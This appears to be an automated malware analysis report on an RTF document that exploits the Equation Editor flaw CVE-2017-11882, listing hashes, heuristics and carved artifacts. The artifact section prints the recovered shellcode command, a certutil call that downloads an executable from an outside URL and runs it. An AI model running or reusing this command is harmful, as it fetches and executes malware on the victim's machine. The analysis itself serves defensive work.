RTF malware analysis — malicious · af42808f0247c9b6

MALICIOUS

RTF

165.7 KB Created: 2020-03-06 22:32:00 First seen: 2020-07-24

MD5: 65cb82f6853bf16f925942c7e00119d6 SHA-1: 2b491d9957c6bc0ea472846c7da20773b3a74040 SHA-256: af42808f0247c9b690ff9f5f55b36c3781348f6dec23237fa19db0736480f427

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded Equation Editor object that exploits CVE-2017-11882. This exploit is known to download and execute a secondary payload, indicated by the suspicious URL and extracted file artifacts. The ClamAV detection name further confirms the exploit's nature.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.ayangarts.or.kr/sports/fileData/w.exe In RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00025566.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x25566	3546 bytes
SHA-256: `848de3376598d6f20412c8d4b84d9dd8768e172318c5dd9b3fdb43523791e51b`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://www.ayangarts.or.kr/sports/fileData/w.exe Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS Static shellcode analysis recovered command string(s): cmd.exe /c certutil -urlcache -split -f http://www.ayangarts.or.kr/sports/fileData/w.exe w.exe&w.exe&exit #%
`objdata_01_off0002763d.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x2763D	3546 bytes
SHA-256: `3e1df2db3ab07e093aa3a1947c80b9ad872ed71d571028b2ce85e44ed20f439f`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://www.ayangarts.or.kr/sports/fileData/w.exe Static shellcode analysis recovered command string(s): cmd.exe /c certutil -urlcache -split -f http://www.ayangarts.or.kr/sports/fileData/w.exe w.exe&w.exe&exit

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